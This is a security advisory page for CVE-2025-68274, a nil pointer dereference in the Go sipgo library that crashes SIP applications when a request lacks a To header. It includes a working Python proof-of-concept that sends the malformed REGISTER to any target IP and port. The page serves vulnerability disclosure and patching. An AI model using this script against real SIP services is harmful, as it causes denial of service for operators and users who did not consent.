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Open-source package vulnerability · Go

CVE-2025-68274: SIPGO is Vulnerable to Response DoS via Nil Pointer Dereference

highCVSS 4.0 8.7GHSA-c623-f998-8hhv

Description A nil pointer dereference vulnerability was discovered in the SIPGO library's NewResponseFromRequest function that affects all normal SIP operations. The vulnerability allows remote attackers to crash any SIP application by sending a single malformed SIP request without a To header.

Published Dec 16, 2025 · Updated Dec 20, 2025

Affected packages

github.com/emiago/sipgo

Ecosystem
Go
Affected
>= 0.3.0, < 1.0.0-alpha-1
Fixed in
1.0.0-alpha-1
Check
go list -m github.com/emiago/sipgo

Advisory details

From the GitHub Advisory Database (CC BY 4.0).

Description

A nil pointer dereference vulnerability was discovered in the SIPGO library's NewResponseFromRequest function that affects all normal SIP operations. The vulnerability allows remote attackers to crash any SIP application by sending a single malformed SIP request without a To header.

The vulnerability occurs when SIP message parsing succeeds for a request missing the To header, but the response creation code assumes the To header exists without proper nil checks. This affects routine operations like call setup, authentication, and message handling - not just error cases.

Note: This vulnerability affects all SIP applications using the sipgo library, not just specific configurations or edge cases, as long as they make use of the NewResponseFromRequest function.

Technical details

The vulnerability is located in /sip/response.go at line 242 in the NewResponseFromRequest function:

if _, ok := res.To().Params["tag"]; !ok {
    uuid, _ := uuid.NewRandom()
    res.to.Params["tag"] = uuid.String()
}

Root Cause:

  1. Missing To Header: When any SIP request is sent without a To header, the SIP message parsing succeeds but the To header is never set in the request object.
  1. Header Copying Logic: During response creation in NewResponseFromRequest, the code attempts to copy headers from the request to the response. Since there's no To header in the request, no To header is copied to the response.
  1. Unsafe Assumption: The response creation code assumes the To header exists and calls res.To().Params["tag"] without checking if res.To() returns nil, causing a nil pointer dereference.

Stack Trace:

panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x2 addr=0x70 pc=0x10261fcb4]

goroutine 175 [running]:
github.com/emiago/sipgo/sip.NewResponseFromRequest(0x14000433e00, 0x191, {0x1026b074b, 0xb}, {0x0, 0x0, 0x0})
    /Users/user/Documents/GitHub/sipgo/sip/response.go:242 +0x394

Impact

This vulnerability affects all SIP applications using the sipgo library when using NewResponseFromRequest to generate SIP responses.

Attack Impact:

  • Availability: Complete denial of service - application crashes immediately
  • Remote Exploitation: Yes
  • Authentication Required: No - vulnerability triggers during initial response generation which does not require authentication

How to reproduce the issue

To reproduce this issue, you need:

  1. A SIP application using the vulnerable sipgo library
  2. Network access to send SIP messages to the target

Steps:

  1. Save the following Python script as sipgo-response-dos.py:
    #!/usr/bin/env python3
    import socket
    import sys
    import time
    import random

    def create_malformed_register(target_ip, target_port):
        call_id = f"sipgo-dos-{int(time.time())}"
        tag = f"sipgo-dos-{random.randint(1000, 9999)}"
        branch = f"z9hG4bK-sipgo-dos-{random.randint(10000, 99999)}"
        
        # Craft malformed SIP request without To header
        sip_message = (
            f"REGISTER sip:{target_ip}:{target_port} SIP/2.0\r\n"
            f"Via: SIP/2.0/UDP 192.168.1.100:5060;rport;branch={branch}\r\n"
            f"From: <sip:[email protected]>;tag={tag}\r\n"
            f"Call-ID: {call_id}\r\n"
            f"CSeq: 1 REGISTER\r\n"
            f"Contact: <sip:[email protected]:5060>\r\n"
            f"Content-Length: 0\r\n"
            f"\r\n"
        )
        return sip_message

    if __name__ == "__main__":
        if len(sys.argv) != 3:
            print("Usage: python3 sipgo-response-dos.py <target_ip> <target_port>")
            sys.exit(1)
        
        target_ip = sys.argv[1]
        target_port = int(sys.argv[2])
        
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        payload = create_malformed_register(target_ip, target_port)
        
        print(f"Sending malformed REGISTER to {target_ip}:{target_port}")
        sock.sendto(payload.encode('utf-8'), (target_ip, target_port))
        print("Exploit sent - target should crash immediately")
  1. Run the script against a vulnerable sipgo application:
    python3 sipgo-response-dos.py <target_ip> <target_port>
  1. Observe that the target application crashes with a SIGSEGV panic.

Note: The key element is the missing To header in any SIP request, which triggers the nil pointer dereference.

Credited to sandrogauci.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology

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